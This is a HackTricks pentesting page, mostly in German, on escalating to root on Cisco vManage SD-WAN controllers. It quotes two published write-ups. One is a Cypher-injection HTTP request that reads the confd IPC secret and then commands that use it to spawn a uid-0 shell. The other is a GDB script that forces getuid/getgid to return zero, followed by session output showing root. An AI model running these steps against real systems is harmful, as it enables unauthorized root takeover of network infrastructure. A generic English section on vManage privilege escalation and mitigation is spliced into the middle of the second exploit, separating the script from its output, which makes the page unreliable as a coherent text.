hacktricks/linux-hardening/privilege-escalation/cisco-vmanage.md
2024-02-10 15:36:32 +00:00

12 KiB

Cisco - vmanage

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Pfad 1

(Beispiel von https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)

Nachdem wir uns etwas durch einige Dokumentation im Zusammenhang mit confd und den verschiedenen Binärdateien (zugänglich mit einem Konto auf der Cisco-Website) gegraben haben, haben wir festgestellt, dass zur Authentifizierung des IPC-Sockets ein geheimes Passwort verwendet wird, das sich in /etc/confd/confd_ipc_secret befindet:

vmanage:~$ ls -al /etc/confd/confd_ipc_secret

-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret

Erinnere dich an unsere Neo4j-Instanz? Sie läuft unter den Berechtigungen des Benutzers vmanage, was es uns ermöglicht, die Datei mithilfe der vorherigen Schwachstelle abzurufen:

GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1

Host: vmanage-XXXXXX.viptela.net



[...]

"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}

Das Programm confd_cli unterstützt keine Befehlszeilenargumente, sondern ruft /usr/bin/confd_cli_user mit Argumenten auf. Daher könnten wir direkt /usr/bin/confd_cli_user mit unseren eigenen Argumenten aufrufen. Allerdings ist es mit unseren aktuellen Berechtigungen nicht lesbar, daher müssen wir es aus dem Rootfs abrufen und mit scp kopieren, die Hilfe lesen und sie verwenden, um die Shell zu erhalten:

vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret

vManage:~$ export CONFD_IPC_ACCESS_FILE=/tmp/ipc_secret

vManage:~$ /tmp/confd_cli_user -U 0 -G 0

Welcome to Viptela CLI

admin connected from 127.0.0.1 using console on vManage

vManage# vshell

vManage:~# id

uid=0(root) gid=0(root) groups=0(root)

Pfad 2

(Beispiel von https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)

Das Blog¹ des Synacktiv-Teams beschreibt einen eleganten Weg, um eine Root-Shell zu erhalten, jedoch erfordert dies das Kopieren von /usr/bin/confd_cli_user, das nur von Root lesbar ist. Ich habe einen anderen Weg gefunden, um ohne solchen Aufwand zu Root zu eskalieren.

Als ich die Binärdatei /usr/bin/confd_cli disassemblierte, habe ich Folgendes beobachtet:

vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
40165c: 48 89 c3              mov    %rax,%rbx
40165f: bf 1c 31 40 00        mov    $0x40311c,%edi
401664: e8 17 f8 ff ff        callq  400e80 <getenv@plt>
401669: 49 89 c4              mov    %rax,%r12
40166c: 48 85 db              test   %rbx,%rbx
40166f: b8 dc 30 40 00        mov    $0x4030dc,%eax
401674: 48 0f 44 d8           cmove  %rax,%rbx
401678: 4d 85 e4              test   %r12,%r12
40167b: b8 e6 30 40 00        mov    $0x4030e6,%eax
401680: 4c 0f 44 e0           cmove  %rax,%r12
401684: e8 b7 f8 ff ff        callq  400f40 <getuid@plt>  <-- HERE
401689: 89 85 50 e8 ff ff     mov    %eax,-0x17b0(%rbp)
40168f: e8 6c f9 ff ff        callq  401000 <getgid@plt>  <-- HERE
401694: 89 85 44 e8 ff ff     mov    %eax,-0x17bc(%rbp)
40169a: 8b bd 68 e8 ff ff     mov    -0x1798(%rbp),%edi
4016a0: e8 7b f9 ff ff        callq  401020 <ttyname@plt>
4016a5: c6 85 cf f7 ff ff 00  movb   $0x0,-0x831(%rbp)
4016ac: 48 85 c0              test   %rax,%rax
4016af: 0f 84 ad 03 00 00     je     401a62 <socket@plt+0x952>
4016b5: ba ff 03 00 00        mov    $0x3ff,%edx
4016ba: 48 89 c6              mov    %rax,%rsi
4016bd: 48 8d bd d0 f3 ff ff  lea    -0xc30(%rbp),%rdi
4016c4:   e8 d7 f7 ff ff           callq  400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …

Wenn ich "ps aux" ausführe, habe ich Folgendes beobachtet (Hinweis -g 100 -u 107)

vmanage:~$ ps aux
… snipped …
root     28644  0.0  0.0   8364   652 ?        Ss   18:06   0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …

Ich habe die Hypothese aufgestellt, dass das Programm "confd_cli" die Benutzer-ID und die Gruppen-ID, die es vom angemeldeten Benutzer gesammelt hat, an die Anwendung "cmdptywrapper" übergibt.

Mein erster Versuch bestand darin, "cmdptywrapper" direkt auszuführen und es mit "-g 0 -u 0" zu versorgen, aber es ist fehlgeschlagen. Es scheint, dass irgendwo auf dem Weg ein Dateideskriptor (-i 1015) erstellt wurde und ich kann ihn nicht fälschen.

Wie in Synacktivs Blog erwähnt (letztes Beispiel), unterstützt das Programm "confd_cli" keine Befehlszeilenargumente, aber ich kann es mit einem Debugger beeinflussen und zum Glück ist GDB im System enthalten.

Ich habe ein GDB-Skript erstellt, in dem ich die API "getuid" und "getgid" erzwungen habe, 0 zurückzugeben. Da ich bereits die "vmanage"-Berechtigung durch die Deserialisierungs-RCE habe, habe ich die Berechtigung, direkt auf das Verzeichnis "/etc/confd/confd_ipc_secret" zuzugreifen.

root.gdb:

set environment USER=root
define root
finish
set $rax=0
continue
end
break getuid
commands
root
end
break getgid
commands
root
end
run

Cisco vManage

Introduction

Cisco vManage is a cloud-based network management platform that provides centralized control and monitoring of Cisco SD-WAN devices. It allows network administrators to configure, monitor, and troubleshoot their SD-WAN infrastructure.

Privilege Escalation

Exploiting Misconfigurations

Default Credentials

Cisco vManage may have default credentials configured, which can be exploited to gain unauthorized access. Attackers can try common default usernames and passwords to gain administrative privileges.

Insecure File Permissions

Improper file permissions on sensitive files can allow unauthorized users to read or modify them. Attackers can exploit this by gaining access to sensitive configuration files or scripts, which may contain credentials or other sensitive information.

Exploiting Vulnerabilities

Remote Code Execution

If Cisco vManage is running a vulnerable version, attackers can exploit remote code execution vulnerabilities to execute arbitrary commands with administrative privileges. This can be achieved by sending specially crafted requests to the vulnerable application.

SQL Injection

SQL injection vulnerabilities in Cisco vManage can allow attackers to execute arbitrary SQL queries, potentially leading to unauthorized access or data leakage. Attackers can exploit this by injecting malicious SQL statements into user input fields.

Mitigation

To mitigate privilege escalation attacks on Cisco vManage, the following measures can be taken:

  • Change default credentials and use strong, unique passwords for all accounts.
  • Ensure proper file permissions are set on sensitive files, limiting access to authorized users only.
  • Keep Cisco vManage up to date with the latest security patches to prevent exploitation of known vulnerabilities.
  • Regularly review and audit the configuration of Cisco vManage to identify and fix any misconfigurations or vulnerabilities.

Conclusion

Privilege escalation attacks on Cisco vManage can lead to unauthorized access, data leakage, and compromise of the SD-WAN infrastructure. By following the mitigation measures mentioned above, network administrators can enhance the security of their Cisco vManage deployment and protect against such attacks.

vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
GNU gdb (GDB) 8.0.1
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-poky-linux".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /usr/bin/confd_cli...(no debugging symbols found)...done.
Breakpoint 1 at 0x400f40
Breakpoint 2 at 0x401000Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401689 in ?? ()Breakpoint 2, getgid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401694 in ?? ()Breakpoint 1, getuid () at ../sysdeps/unix/syscall-template.S:59
59 T_PSEUDO_NOERRNO (SYSCALL_SYMBOL, SYSCALL_NAME, SYSCALL_NARGS)
0x0000000000401871 in ?? ()
Welcome to Viptela CLI
root connected from 127.0.0.1 using console on vmanage
vmanage# vshell
bash-4.4# whoami ; id
root
uid=0(root) gid=0(root) groups=0(root)
bash-4.4#
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!